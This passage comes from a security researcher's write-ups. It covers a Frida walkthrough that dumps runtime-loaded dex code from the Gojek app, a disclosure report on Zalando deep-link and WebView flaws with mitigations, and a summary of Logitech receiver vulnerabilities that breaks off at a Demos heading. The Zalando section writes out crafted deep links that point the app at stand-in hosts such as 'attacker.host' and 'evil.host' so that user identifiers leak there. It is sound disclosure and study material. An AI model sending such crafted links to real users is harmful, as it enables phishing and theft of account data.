 45 | There's strong indication, that encryption id done by the function
 46 | 
 47 | `ı` (function name corresponds to U+0131) of class `com.appsflyer.internal.j`.
 48 | 
 49 | The function gets accessed using reflections. Stringifying the Method object
 50 | after it gets accessed (I don't want to deep dive on where the `java.lang.reflect.Method`
 51 | object is fetched, as the surrounding code is heavily obfuscated) reveals the following method siganture:
 52 | 
 53 | ```
 54 | public static byte[] com.appsflyer.internal.j.ı(com.appsflyer.AFEvent)
 55 | ```
 56 | 
 57 | So there is a static class method, which receives an `AFEvent` object and produces an (encrypted)
 58 | byte[] as result. This byte[] then is stored back into the AFEvent using AFEvent.post(byte[]).
 59 | 
 60 | The AFEvent gets eventually send out using `java.net.HttpURLConnection` in a POST request, for which
 61 | the stored encrypted data byte[] serves as request body. Content-type for the request is
 62 | `application/octet-stream`. If encryption is disabled, a plain JSON object would be sent out with the request.
 63 | 
 64 | 
 65 | Now, while the aforementioned encryption function `com.appsflyer.internal.j.ı` could be hooked with Frida
 66 | at runtime, the whole class `com.appsflyer.internal.j` is not included in the dex files of the app.
 67 | Also early instrumentaion would fail, as the class is loaded at runtime.
 68 | 
 69 | I placed a small frida-trace hook on `com.appsflyer.internal.j.ı`, to get some insights on the ClassLoader
 70 | in use (*the process has to be running, when frida-trace is attached as the class does not exist
 71 | at application start*):
 72 | 
 73 | ```
 74 |   onEnter: function (log, args, state) {
 75 | // method sig: "public static byte[] com.appsflyer.internal.j.ı(com.appsflyer.AFEvent)"
 76 | // likely AFEvent encryption
 77 |     log('j.ı(' + args.map(JSON.stringify).join(', ') + ')');
 78 |     let ae = args[0]
 79 |     let ldr = this.class.getClassLoader()
 80 |     log(`loader=${ldr}`)
 81 |   },
 82 | 
 83 | ```
 84 | 
 85 | Unsuprisingly, the respective class is loaded by an in-memory ClassLoader, which itself was loaded at runtime (constructor can not be hooked with early instrumentation). 
 86 | 
 87 | Below, an excerpt of the output from the hook:
 88 | 
 89 | ```
 90 |   3196 ms  j.ı("<instance: com.appsflyer.AFEvent, $className: com.appsflyer.internal.model.event.Launch>")
 91 |   3196 ms  loader=dalvik.system.InMemoryDexClassLoader[DexPathList[[dex file "InMemoryDexFile[cookie=[0, 2865265056]]"],nativeLibraryDirectories=[/data/app/com.gojek.app-IVJiC-UoLeJjQ3xI9DDuoQ==/lib/arm, /data/app/com.gojek.app-IVJiC-UoLeJjQ3xI9DDuoQ==/base.apk!/lib/armeabi-v7a, /system/lib, /system/vendor/lib]]]
 92 |   3388 ms  <= [-93,70,77,-124,9, ...snip...
 93 | ```
 94 | 
 95 | So the class loader used to propagate the `com.appsflyer.internal.j` (and likely other runtime classes) is an instance of `dalvik.system.InMemoryDexClassLoader`.
 96 | 
 97 | ## Dumping in Memory dex files
 98 | 
 99 | After a while of digging into the Dalvik implementation for InMemoryDexClassLoader functionality, I learned that in-memory dexfiles
100 | are created here (at least if this isn't an array of dex files): https://android.googlesource.com/platform/libcore/+/57dfd7182e6d169ec5a195ab03900a323b27ea13/dalvik/src/main/java/dalvik/system/DexFile.java#120
101 | 
102 | The relevant code 
103 | 
104 | ```
105 |     DexFile(ByteBuffer buf) throws IOException {
106 |         mCookie = openInMemoryDexFile(buf);
107 |         mInternalCookie = mCookie;
108 |         mFileName = null;
109 |     }
110 | 
111 | ... snip...
112 | 
113 |     private static Object openInMemoryDexFile(ByteBuffer buf) throws IOException {
114 |         if (buf.isDirect()) {
115 |             return createCookieWithDirectBuffer(buf, buf.position(), buf.limit());
116 |         } else {
117 |             return createCookieWithArray(buf.array(), buf.position(), buf.limit());
118 |         }
119 |     }
120 | 
121 |     private static native Object createCookieWithDirectBuffer(ByteBuffer buf, int start, int end);
122 |     private static native Object createCookieWithArray(byte[] buf, int start, int end);
123 | ```
124 | 
125 | I was a bit lazy, instead of hooking 'openInMemoryDexFile', I hooked both
126 | 'createCookie*' functions with frida-trace using a command like this:
127 | 
128 | ```
129 | frida-trace -U -j '*AFEvent*!post*' -j 'com.appsflyer.internal.j!ı' -j '*!*openInMemory*' -j '*!*createCookie*' -f com.gojek.app
130 | ```
131 | 
132 | ... it turns out, that the buffers holding the runtime dex files aren't direct and `createCookieWithArray` is called.
133 | That's good, as it is easier to deal with Java `byte[]` then with `ByteBuffer` objects from the frida perspective.
134 | 
135 | As dumping of the dexfiles is a one-time-job, I did not fully automate it, but used base64 encoding and manual copy&paste
136 | for decoding.
137 | 
138 | My frida-trace handler script for `dalvik.system.DexFile.createCookieWithArray(byte[] buf, int start, int end)` looks like this:
139 | 
140 | ```
141 | /*
142 |  * Auto-generated by Frida. Please modify to match the signature of DexFile.createCookieWithArray.
143 |  *
144 |  * For full API reference, see: https://frida.re/docs/javascript-api/
145 |  */
146 | 
147 | {
148 |   /**
149 |    * Called synchronously when about to call DexFile.createCookieWithArray.
150 |    *
151 |    * @this {object} - The Java class or instance.
152 |    * @param {function} log - Call this function with a string to be presented to the user.
153 |    * @param {array} args - Java method arguments.
154 |    * @param {object} state - Object allowing you to keep state across function calls.
155 |    */
156 |   onEnter: function (log, args, state) {
157 |     log('DexFile.createCookieWithArray(...snip...)');
158 |     let byteArray = args[0]
159 |     let start = args[1]
160 |     let end = args[2]
161 |     
162 |     let b64 = Java.use("android.util.Base64")
163 |     let b64Str = b64.encodeToString(byteArray, start, end, 0)
164 |     log("base64 dump:\n" + b64Str)
165 |   },
166 | 
167 |   /**
168 |    * Called synchronously when about to return from DexFile.createCookieWithArray.
169 |    *
170 |    * See onEnter for details.
171 |    *
172 |    * @this {object} - The Java class or instance.
173 |    * @param {function} log - Call this function with a string to be presented to the user.
174 |    * @param {NativePointer} retval - Return value.
175 |    * @param {object} state - Object allowing you to keep state across function calls.
176 |    */
177 |   onLeave: function (log, retval, state) {
178 |     if (retval !== undefined) {
179 |       log('<=', JSON.stringify(retval));
180 |     }
181 |   }
182 | }
183 | ```
184 | 
185 | The handler script is applied is applied to the Gojek app with (spawn gating, to catch events from the very beginning):
186 | 
187 | ```
188 | frida-trace -U -j '*!*createCookie*' -f com.gojek.app
189 | ```
190 | 
191 | Note the wildcard after `createCookie*`, it assures that calls to `createCookieWithDirectBuffer` are traced, too (just in case).
192 | 
193 | Once frida trace is running, the output looks something like this:
194 | 
195 | ```
196 | # frida-trace -U -j '*!*createCookie*' -f com.gojek.app
197 | Instrumenting...                                                        
198 | DexFile.createCookieWithArray: Loaded handler at "/root/research/android/__handlers__/dalvik.system.DexFile/createCookieWithArray.js"
199 | DexFile.createCookieWithDirectBuffer: Loaded handler at "/root/research/android/__handlers__/dalvik.system.DexFile/createCookieWithDirectBuffer.js"
200 | Started tracing 2 functions. Press Ctrl+C to stop.                      
201 |            /* TID 0x6af5 */
202 |   5637 ms  DexFile.createCookieWithArray(...snip...)
203 |   5637 ms  base64 dump:
204 | ZGV4CjAzNQCcBTCtZCzrJ1f8Vwb3MBjLHX5proWPYF3IOwAAcAAAAHhWNBIAAAAAAAAAAPg6AABy
205 | AAAAcAAAACwAAAA4AgAAIQAAAOgCAAAQAAAAdAQAAC4AAAD0BAAAAQAAAGQGAABENQAAhAYAAAI0
206 |  ... snip ...
207 | AAAuAAAA9AQAAAYAAAABAAAAZAYAAAEgAAAOAAAAhAYAAAMgAAAMAAAA3S8AAAEQAAARAAAAZDMA
208 | AAIgAAByAAAAAjQAAAQgAAAFAAAA8TkAAAAgAAABAAAAJzoAAAUgAAABAAAAhzoAAAMQAAAFAAAA
209 | mDoAAAYgAAABAAAAwDoAAAAQAAABAAAA+DoAAA==
210 | 
211 |   5695 ms  <= "<instance: java.lang.Object, $className: [J>"
212 |   5768 ms  DexFile.createCookieWithArray(...snip...)
213 |   5768 ms  base64 dump:
214 | ZGV4CjAzNQCnSsAmHmAxROD/uZcWnAYIh4K4UxG6F4IgfQAAcAAAAHhWNBIAAAAAAAAAAFB8AADm
215 | AAAAcAAAAGEAAAAIBAAAVQAAAIwFAABLAAAAiAkAALAAAADgCwAADgAAAGARAAAAagAAIBMAAOBi
216 | AADiYgAA5WIAAOpiAADtYgAAp2YAALFmAAC5ZgAAvWYAAMBmAADDZgAAxmYAAMpmAADWZgAA2WYA
217 | ...
218 | ```
219 | 
220 | Each base64 string represents a raw dex class package.
221 | 
222 | As already mentioned, I just copied each b64 string and pasted it back to a file.
223 | 
224 | If the resultin file is called `dump_dex1.b64` it could be converted back to a dex file like this:
225 | 
226 | `cat dump_dex1.b64 | base64 -d > dump1.dex`
227 | 
228 | The resulting file could be processed with the usual tools for dex decompilation,
229 | but this is up to the reader.
230 | 
231 | Of course, the AppFlyer classes with the encryption routines, which have been missing
232 | int the package, are part of the output.
233 | 
234 | I haven't done any investigation on how the respective ByteBuffers get loaded, as I am
235 | too lazy. Anyways, malware could use this to load code from encrypted resources directly into memory
236 | and this write-up shows a simple way to deal with such cases.
237 | 


--------------------------------------------------------------------------------
/zalando_deeplink.md:
--------------------------------------------------------------------------------
  1 | # Summary of Deep Link related vulnerabilities in "Zalando" Android App (`de.zalando.mobile`, Version `v5.10.1`)
  2 | 
  3 | **Author: Marcus Mengs (@MaMe82)**
  4 | **Date: Aug-24-2021**
  5 | 
  6 | 
  7 | The "Zalando" Android App allows external interaction via Deep Links with the custom scheme `zalando://`. There exist no further restrictions, like filters for specific hosts or paths, for those Deep Links.
  8 | 
  9 | Relevant excerpt `AndroidManifest.xml`:
 10 | 
 11 | ```
 12 |         <activity android:theme="@style/ZalandoFullScreenTheme" android:name="de.zalando.mobile.ui.start.SplashActivity">
 13 |             <intent-filter>
 14 |                 <action android:name="android.intent.action.MAIN"/>
 15 |                 <category android:name="android.intent.category.LAUNCHER"/>
 16 |             </intent-filter>
 17 |             <intent-filter>
 18 |                 <action android:name="android.intent.action.VIEW"/>
 19 |                 <category android:name="android.intent.category.DEFAULT"/>
 20 |                 <category android:name="android.intent.category.BROWSABLE"/>
 21 |                 <data android:scheme="zalando"/>
 22 |             </intent-filter>
 23 |             <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
 24 |         </activity>
 25 | ```
 26 | 
 27 | Ultimately the host-part and path-component of Deep Links matching this scheme, have to be handled by the application logic. Inspection of the app code uncovers various Deep Link formats, which could trigger actions. A few examples:
 28 | 
 29 | ```
 30 | zalando://CUCA_CHAT...
 31 | zalando://ROOT...
 32 | zalando://CATEGORIES...
 33 | zalando://WISHLIST...
 34 | zalando://DIGITAL_GIFT_CARDS_EMAIL...
 35 | ```
 36 | 
 37 | These examples show, that the App uses the **host part** of the deep links, in order to route to different application components, while no global (OS-based) filters are applied to this part in the Manifest file. Ultimately, the application logic gets responsible for sanitization/filtering of the host-component of Deep Link URLs. Unfortunately, the logic fails on this. The same is true for the path-component of Deep Link URLs. This results in issues which I cover in this report.
 38 | 
 39 | ## 1. Deep Link vulnerability 1: `zalando://STREET_VIEW`
 40 | 
 41 | The Deep Link target `zalando://STREET_VIEW` obviously is/was tied to the "Street it all" Campaign. 
 42 | 
 43 | The expected Deep Link URLs look something like this:
 44 | 
 45 | ```
 46 | zalando://STREET_VIEW?path=<target path>
 47 | ```
 48 | 
 49 | For a Deep-Link-host-component of `STREET_VIEW` the app logic creates an Intent for the Activity `de.zalando.mobile.ui.webview.WebViewWeaveActivity`. The intent carries the following Extras:
 50 | 
 51 | - `intent_extra_title`: title which should be shown by the activity (`"Street it all"` in this case )
 52 | - `show_street_view`: boolean, set to `true`
 53 | - `intent_extra_url`: URL for a web page, which should be displayed by the activity. The web page itself gets rendered by `de.zalando.mobile.ui.webview.ZalandoWebView` (which inherits from `android.webkit.WebView`)
 54 | 
 55 | The interesting part, of course, is the URL string which ends up in `intent_extra_url`, which gets requested and rendered by the `ZalandoWebView`. This value gets constructed by a concatenation of the string `"https://en.zalando.de"` and the value **of the query parameter `path` from the Deep Link.**
 56 | 
 57 | So for the Deep Link `zalando://STREET_VIEW?path=/index.html` the resulting `intent_extra_url` would be constructeded as: 
 58 | 
 59 | ```
 60 | https://en.zalando.de/index.html
 61 | ```
 62 | 
 63 | This causes an issue as the `/`, which serves as delimiter between the host-component and the path-component of the resulting URL, **is expected to be part of the value of the query parameter `path`. Omitting this delimiting character, leads to unexpected results.
 64 | 
 65 | For example a Deep Link `zalando://STREET_VIEW?path=foo` would get translated to the following URL, with an invalid hostname:
 66 | 
 67 | ```
 68 | https://en.zalando.defoo
 69 | ```
 70 | 
 71 | This misbehavior is exploitable. An attacker could craft ,malicious Deep Links with arbitrary hostnames, paths and queries. The only thing which could not be manipulated is the scheme (`https`) of the resulting URLs. Moreover, the WebView which renders the URLs has JavaScript enabled and obviously has cookies stored for relevant `*.zalando.de` domains. This widens the attack surface for JavaScript-based CSRF attacks.
 72 | 
 73 | *Note on CSRF: If an attacker enforces requests to domains with malicious JavaScripts based on the Deep-Link-issue, the JS code would not be able to collect HTTP responses. This is because the Same Origin Policy would get violated. Yet, even if no response could be fetched, the respective XHR request could be send towards *.zalando.de (including stored HTTP-only cookies). It took no further efforts, to work out CSRF examples, in order to increase the severity of the report. The possibilities should be obvious.*
 74 | 
 75 | At this point, I want to give two examples on how to exploit this logical flaw, to request attacker controlled URLs from within the Zalando App (internal WebView).
 76 | 
 77 | ### 1.1 Example 1
 78 | 
 79 | ```
 80 | zalando://STREET_VIEW?path=.attacker.host/arbitrary/path?arbitrary=param
 81 | ```
 82 | 
 83 | The Deep Link above would result in the following URL, which would get requested and rendered by `ZalandoWebView`:
 84 | 
 85 | ```
 86 | https://en.zalando.de.attacker.host/arbitrary/path?arbitrary=param
 87 | ```
 88 | 
 89 | ### 1.2 Example 2
 90 | 
 91 | As there is no hostname validations for the generate URLs, another - less obvious - attack is possible, which does not require to register domains with host records starting with `en.zalando.de.*` (as shown in example 1).
 92 | 
 93 | According to [RFC 3986, Section 3.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2) the authority of a (HTTP) URI not only consists of the host part, but also of optional components:
 94 | 
 95 | ```
 96 | authority   = [ userinfo "@" ] host [ ":" port ]
 97 | ```
 98 | 
 99 | With this aspect in mind, the enforced `"en.zalando.de"` host could be modified to serve as `userinfo` by adding in a `@` character. A crafted Deep Link would look like this:
100 | 
101 | ```
102 | zalando://STREET_VIEW?path=a@attacker.host/arbitrary/path?arbitrary=param
103 | ```
104 | 
105 | ... and resolve to this URL:
106 | 
107 | 
108 | ```
109 | https://en.zalando.de:a@attacker.host/arbitrary/path?arbitrary=param
110 | ```
111 | 
112 | In this case, the string `en.zalando.de` would get interpreted as username (with password `a`), while the real host gets `attacker.host`. This allows an attacker to request arbitrary domains, as most of them just ignore the userinfo for `http`.
113 | 
114 | 
115 | ### 1.3 Additional Notes on this example
116 | 
117 | The `WebViewWeaveActivity` does not display the URL which was requested for rendering, which makes phishing attacks easier (instead the title "Stret it All" gets displayed).
118 | 
119 | If the `STREET_VIEW` Deep Link has no `path` parameter or the value of the `path` parameter is empty, the string representation of the URL-path gets translated to `null` and results in an URL transformation to `https://en.zalando.denull`. This is mentioned, because makes it way easier to discover this vulnerability, just by testing obvious Deep Link targets, which are easy to spot in the code (not obfuscated).
120 | 
121 | The underlying WebViews support Client-cahcing, which means if the same crafted Deep Link is used more than once (resulting in the same URL each time), it is not guaranteed that this triggers more than one HTTP request. An attacker can overcome this, by adding a random value to the query parameters, for each generated Deep Link, in order to assure that each link leads results in a HTTP request (cache buster).
122 | 
123 | ## 2. Deep Link vulnerability 2: `zalando://MAGAZINE`
124 | 
125 | I keep this section shorter, as most fundamental aspects have been described in the section for "Deep Link Vulnerability 1".
126 | 
127 | Deep Links starting with `zalando://MAGAZINE` trigger Intents for the component `de.zalando.mobile.ui.webview.inspiration.InspirationWebViewActivity`. This Activity, again, uses `ZalandoWebView` to request and render content from an URL, which is provided in the `intent extra` named `intent_extra_url`.
128 | 
129 | While this Deep Link behaves similar to `zalando://STREET_VIEW` it does not construct the target URL for `ZalandoWebView` from a query parameter, but from the **path component** of the Deep Link.
130 | 
131 | For example the deep link `zalando://MAGAZINE/second` would translate to a requested URL of:
132 | 
133 | ```
134 | https://en.zalando.de/second?cmsversion=NEWFACE...
135 | ```
136 | 
137 | The query parameter `cmsversion=NEWFACE` gets appended by the application code automatically.
138 | 
139 | For the translation from the provide Deep Link to the final request URL, the `zalando://MAGAZINE` part of the string gets replaced with `https://en.zalando.de`. The rest of the string is kept, without further sanitization or filtering.
140 | 
141 | This could be exploited in similar fashion, like described in the first issue:
142 | 
143 | ### 2.1 Example 1
144 | 
145 | The Deep Link `zalando://MAGAZINE.evil.host/something` results in the following URL, which gets requested by `ZalandoWebView`:
146 | 
147 | ```
148 | https://en.zalando.de.evil.host/something?cmsversion=NEWFACE...
149 | ```
150 | 
151 | 
152 | ### 2.2 Example 2
153 | 
154 | The Deep Link `zalando://MAGAZINE:a@evil.host/something` results in the following URL, which gets requested by `ZalandoWebView`:
155 | 
156 | ```
157 | https://en.zalando.de:a@evil.host/something?cmsversion=NEWFACE
158 | ```
159 | 
160 | 
161 | ## 2.3 Additional notes for this example
162 | 
163 | In contrast to the visualization for the "Street View", the `InspirationWebViewActivity` use here, renders a part of the requested URL. This is not much of an issue for an attacker, as a malicious target host could still be prefixed with  legit looking components. Even worse, a target host like `magazine.zalando.de.evil.host` would render as `https://magazine.zalando.d..`, which could make phishing attacks more plausible (for my test devices, the first 18 characters of the hostname got rendered).
164 | 
165 | In addition to the title, this activity applies some modifications to the style of the WebView which help to allign content with Zalandos Corporate Design (Orange colors for text markers, different fonts etc..)
166 | 
167 | Otherwise the notes from previous sections apply.
168 | 
169 | ## 3. Information Leakage Vulnerability in `ZalandoWebView`
170 | 
171 | The `ZalandoWebView` component played a role in both vulnerabilities described, so far.
172 | 
173 | Essentially this class extends `android.webkit.WebView`, but adds some logic to the `loadUrl()` method.
174 | 
175 | To be precise: Depending on the URL provided to `loadUrl()` additional query parameters and a request header get added:
176 | 
177 | ### Additional header
178 | ```
179 | x-zalando-mobile-app:       1166 **redacted**
180 | ```
181 | 
182 | ### Additional query parameters
183 | ```
184 | uId:        3a11 **redacted**
185 | appVersion: 5.10.1
186 | appCountry: DE-EN
187 | clientId:   d730 **redacted**
188 | appName:    Zalando
189 | appId:      de.zalando.mobile
190 | ```
191 | 
192 | Those user related parameters, which could also get useful for CSRFs, could easily fetched by an attacker. This is, because the logic which optionally adds them works like this:
193 | 
194 | ```
195 | if (url.getHost().contains("zalando")) {
196 |     // add Zalando specific parameters and header
197 | }
198 | ```
199 | 
200 | The problem is pretty obvious. Instead of validating the full host name, all hosts **containing** "zalando" fulfill these condition (not case sensitive).
201 | 
202 | This applies to hosts like `FranzAlanDora.de`, as well as to hosts from earlier examples, like `en.zalando.de.attacker.host`.
203 | 
204 | Combined with the first two vulnerabilities, this allows easy information extraction, which could further support extended exploit chains.
205 | 
206 | ## 4. Relevance/Impact
207 | 
208 | First of all, it should be mentioned that there are various ways, to trigger such deep link exploits. The most obvious would be to place such a malicious Deep Link in a Webpage and trick user into clicking the link. This could be semi-automated, as Deep Links could be triggered via JavaScript, if the user visits a malicious page with the browser of his mobile (with Zalando App installed). A less common way to ship Deep Links to innocent users, would be QRCodes. This gained great relevance nowadays, because of the fact, that many digital Covid-tracing solutions rely on the fact, that users scan (untrusted) QRCodes with there mobile phones.
209 | 
210 | 
211 | Beside abusing this as "open redirect", CSRF attacks get possible (as described earlier). I also did some tests on XSS which did NOT succeed. To be precise: Of course it is possible to execute arbitrary JavaScript in the WebViews of the Zalando App, but I did not manage to inject JS code into WebViews rendering the `en.zalando.de`. Yet, I can not safely exclude that this is possible. The main reason for this: I have no test device, which still suffers from `CVE-2020-6506`. If the Zalando App is running on a device affected by the flaw describe in this CVE, the issues described here could serve as door-opener for **Universal XSS** in any web page.
212 | 
213 | The most realistic scenario - for an attacker to exploit this issue - would be classical phishing. For example, an attacker could host a fake login page, to steal credentials of Zalando user. This gets even easier, because the app provides no visual indication, that the content rendered in the App is not part of Zalando (specifically: Malicious host URLs are not shown, at all, or only the first few letters are shown, which allows an attacker to make them appear as legit Zalando-URLs).
214 | 
215 | ## 5. Root cause / Mitigation
216 | 
217 | ### 5.1 Improper Input filtering
218 | 
219 | It has to be enforced, that the path parameter (example 1) has a slash `/` as first character (or the slash gets appended to the hostname part, which is used when constructing the URL for the WebView)
220 | 
221 | ### 5.2 Improper Output encoding
222 | 
223 | The characters for intended query parameters have to be URL-encoded, to prevent characters like `:`, `@` and so on.
224 | 
225 | ### 5.3 Lack of URL-component (host) validation
226 | 
227 | While the `*WebView.loadUrl()` method only accepts an URL parameter of type string, it is still possible to cast it to `java.net.URL` in order to sanitize URL components in accordance to RFC 3968. Although `ZalandoWebView` fails on proper host sanitization, it already does this conversion. This offers the opportunity to prevent tinkering with the authority part of provided URLS. For example `new URL("https://en.zalando.de:a@evil.host").getHost()` would return `evil.host` and thus deal with the issues described in the section "Deep Link vulnerability 1".
228 | 
229 | ### 5.4 OS scoped Deep Link filters
230 | 
231 | Valid "host name components" and intended "paths" for legit Deep Links could be included in the `AndroidManifest.xml` to enforce OS-based filtering. As valid Deep Link targets could be easily extracted from the app logic, the "value" of the "disclosed" information presented in the Manifest (to a possible attacker) is low, compared to the risk of omitting OS-level filtering for HOST- and PATH-components of Deep Links.
232 | 
233 | ### 5.5 Event Logs
234 | 
235 | Of course I am not able to draw conclusions on how these flaws have been used "in the wild", but: It is worth mentioning that each and every Deep Link passing the Zalando app gets logged to the `https://en.zalando.de/api/mobile/v3/events` endpoint. While I consider this a somehow "heavy" form of user tracking, it could at least help to uncover misuse of Deep Links in the past.
236 | 
237 | 


--------------------------------------------------------------------------------
/logitech_vuln_summary.md:
--------------------------------------------------------------------------------
  1 | The repo holding all the disclosure material for the research is published here: https://github.com/mame82/UnifyingVulnsDisclosureRepo
  2 | 
  3 | # Summary / Overview of known Logitech wireless peripheral vulnerabilities
  4 | 
  5 | There has been a ton of research on wireless input devices using proprietary 2.4 GHz radio technology.
  6 | Lately, I reported some new vulnerabilities for Logitech devices, myself, and noticed that one could easily get
  7 | confused by all those issues.
  8 | 
  9 | So here is an attempt to clarify some things. 
 10 | 
 11 | This document focuses on Logitech devices only, as other vendors haven't been part of my own research.
 12 | 
 13 | # General information
 14 | 
 15 | In context of attacks on Logitech devices, the device itself is often assumed to be vulnerable. Especially for
 16 | keystroke injection attacks, this is not the case. The vulnerable part is the wireless receiver. In fact, in order to 
 17 | carry out a keystroke injection attack, the actual input device does not even have to be in range. This is because the 
 18 | attacker is communicating with the receiver via RF while impersonating a real device. 
 19 | 
 20 | The actual device is only of interest for the questions: 
 21 | - Does the receiver allow keyboard input for the impersonated device or not (has the impersonated device keyboard 
 22 | capabilities, even if it is not a keyboard)?
 23 | - If the receiver accepts keyboard input, does it have to be encrypted (the attacker would need a valid encryption
 24 | key to impersonate the device)?
 25 | 
 26 | The answer to these questions are known by the receiver, because the data of paired devices is stored. If the receiver
 27 | behaves according to those answers, depends not only on the stored device data. It additionally, it depends on the patch
 28 | level of the respective receiver. This is because some vulnerabilities discovered by Bastille (Marc Newlin) back in 2016,
 29 | exploited misbehavior:
 30 | 
 31 | - An unpatched receiver could accept unencrypted keyboard input, even if the impersonated devices should only 
 32 | communicate encrypted (plain injection for encrypted devices)
 33 | - An unpatched receiver could be forced to register a new device, which always accepts plain keystrokes (forced pairing)
 34 | 
 35 | It should be noted, that an impersonated device does not have to be a wireless keyboard. Most mice, all presentation 
 36 | clickers and various other devices are able to emit keyboard input. Ultimately, the receiver would accept keystrokes
 37 | from an attacker impersonating such a device, f.e. a mouse. 
 38 | 
 39 | # Known vulnerabilities (partially undisclosed)
 40 | 
 41 | ## 1) Plain keystroke injection / plain keystroke injection for encrypted devices
 42 | 
 43 | ### Description
 44 | 
 45 | A remote attacker could inject arbitrary keystrokes into an affected receiver. In most cases (if no additional key 
 46 | filters are in place) this directly leads to remote code execution (RCE) and thus full compromise of the host with the 
 47 | receiver attached.
 48 | 
 49 | Most Logitech presentation clickers accept plain keystrokes (f.e. R400, R700, R800). The only thing needed by an 
 50 | attacker to impersonate the actual device is the RF address in use. This address could be discovered by monitoring
 51 | RF traffic (pseudo promiscuous mode as proposed by Travis Goodspeed or Software Defined Radio). Once the address is 
 52 | obtained, the attack could be directly carried out.
 53 | 
 54 | Additionally, older Unifying receiver firmwares accept unencrypted keyboard frames from impersonated devices, which 
 55 | should only send encrypted keyboard frames. Again, an attacker only needs to discover an RF address for such a device in
 56 | order to carry out the attack.
 57 | 
 58 | Those kinds of attack are known since 2016. Still today, Unifying receivers could be bought, which aren't patched 
 59 | against those attacks.   
 60 | 
 61 | ### References
 62 | 
 63 | - unencrypted Logitech presentation clickers (reported by SySS GmbH)  
 64 |     - R400: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-074.txt
 65 |     - R700: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-015.txt
 66 | - plain injection for encrypted keyboards (reported by Bastille)
 67 |     - several devices https://github.com/BastilleResearch/mousejack/blob/master/doc/advisories/bastille-2.logitech.public.txt
 68 |     - G900 mouse: https://github.com/BastilleResearch/mousejack/blob/master/doc/advisories/bastille-12.logitech.public.txt
 69 |     
 70 | 
 71 | ### Demos
 72 | 
 73 | - SySS GmbH, plain injection, Logitech R400: https://youtu.be/p32o_jRRL2w
 74 | - Bastille , Logitech Mouse: https://youtu.be/3NL2lEomB_Y
 75 | - MaMe82, Logitech R400: https://twitter.com/mame82/status/1126038501185806336
 76 | 
 77 | ## 2) Encrypted keystroke injection without key knowledge (patched)
 78 | 
 79 | ### Description
 80 | 
 81 | Wireless Logitech keyboards encrypt keystrokes before sending them to the receiver. A custom AES CTR implementation
 82 | is used to prevent an attacker from injecting arbitrary keystrokes. The implementation of Unifying receivers with 
 83 | outdated firmware have multiple issues:
 84 | - The receiver does not enforce incrementation of the AES CTR counter for successive RF frames. This allows replay 
 85 | attacks and *reuse of the counter with a modified cipher text*
 86 | - If the plaintext of an encrypted keyboard RF frame is known, an attacker could use this to recover the key material
 87 | used to encrypt the frame with this specific counter. Ultimately, the attacker is able to modify the respective RF
 88 | frame with new plaintext (other key presses). In combination with the ability to re-use the counter, the attacker could
 89 | inject arbitrary keystrokes.
 90 | - Encrypted key release frames are easy to identify while monitoring RF transmissions and could be used for a known
 91 | plaintext attack.  
 92 | 
 93 | Note: The issue exists for Unifying receivers not patched against the respective vulnerability, which was called
 94 | "KeyJack" by Bastille. So this is a good example for a vulnerability not directly depending on the device. 
 95 | 
 96 | ### References
 97 | 
 98 | - encrypted injection (reported by Bastille)
 99 |     - https://github.com/BastilleResearch/keyjack/blob/master/doc/advisories/bastille-13.logitech.public.txt
100 | - CVE-2016-10761 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10761)  
101 | 
102 | ## 3) Encrypted keystroke injection without key knowledge (no patch from vendor)
103 | 
104 | ### Description
105 | 
106 | Logitech provided patches for the issue "encrypted keystroke injection without key knowledge":
107 | 
108 | - https://github.com/Logitech/fw_updates/blob/master/RQR12/RQR12.08/RQR12.08_B0030.txt
109 | - https://github.com/Logitech/fw_updates/blob/master/RQR24/RQR24.06/RQR24.06_B0030.txt
110 | 
111 | Beside the fact, that not all dongles in market have the respective patches applied, they could be bypassed by an 
112 | attacker. No patches exist for the extended version of the attack and Logitech confirmed, that no patch will be 
113 | provided for this new vulnerability.
114 | 
115 | In contrast to the existing version of the attack, the new version requires that an attacker gets one-time physical
116 | access to the wireless device, in order to enforce arbitrary key-presses. The goal of the attacker is to generate more
117 | known plaintext, while capturing cryptographic data from RF. The collected cryptographic data than could be used, to carry out an 
118 | attack similar to the one described above, but additionally bypass the AES counter re-use protection applied with the 
119 | latest patches. **Physical access is only required one time. Once the data has been collected, arbitrary keystrokes 
120 | could be injected, when and as often as the an attacker likes.**
121 |  
122 | A possible attacker only needs some seconds to generate the key-presses needed to break encryption (12 to 20 times
123 | pressing the same key). 
124 |  
125 | *Note on presentation clickers: The goal of the physical key presses is to generate a sufficient amount of known 
126 | plaintext (which could be derived from information leaks during RF transmissions by an attacker). In case of encrypted
127 | presentation clickers, this step usually gets obsolete, because an attacker has other possibilities to get to know of
128 | the plaintext for encrypted keyboard reports (Visual identification of pressed key, by watching the presentation 
129 | controlled with the clicker. F.e. if next slide is shown, it is clear which plain key was pressed on the clicker before
130 | encryption took place). Because of this fact, the attack could be simplified to a remote approach, only.* 
131 | 
132 | ### References
133 | 
134 | - CVE-2019-13053
135 | - vendor report (will be released soon)
136 | 
137 | ### Demos
138 | 
139 | - Marcus Mengs
140 |     - Demo of attack: https://twitter.com/mame82/status/1095272849705783296
141 |     - Demo, usage to deploy a covert channel: https://twitter.com/mame82/status/1128392333165256706
142 | 
143 | ## 4) Passively obtain Logitech Unifying link encryption keys by capture of pairing (RF only, no patch from vendor)
144 | 
145 | ### Description
146 | 
147 | Weak key exchange and encryption allow an attacker to derive the per-device link-encryption keys, if the attacker is
148 | able to capture a pairing between the device and receiver from RF. Additionally, an attacker with physical access to
149 | device and receiver could manually initiate a re-pairing of an already paired device to the receiver, in order to obtain
150 | the link-encryption key. There exists no possibility for the user, to notice that the respective key has been compromised.
151 | 
152 | Thus, beside being a passive remote attack (RF), the attack could be modified to a drive-by approach or supply chain
153 | attack.
154 | 
155 | With the stolen key, the attacker is able to inject arbitrary keystrokes (active), as well as to eavesdrop and live
156 | decrypt keyboard input remotely (passive). This applies to all encrypted Unifying devices with keyboard capabilities
157 | (f.e. MX Anywhere 2S mouse).
158 | 
159 | Logitech confirmed, that no patch will be provided for this new vulnerability.
160 | 
161 | ### References
162 | 
163 | - CVE-2019-13052
164 | - vendor report (will be released soon)
165 | 
166 | ### Demos
167 | 
168 | - Marcus Mengs
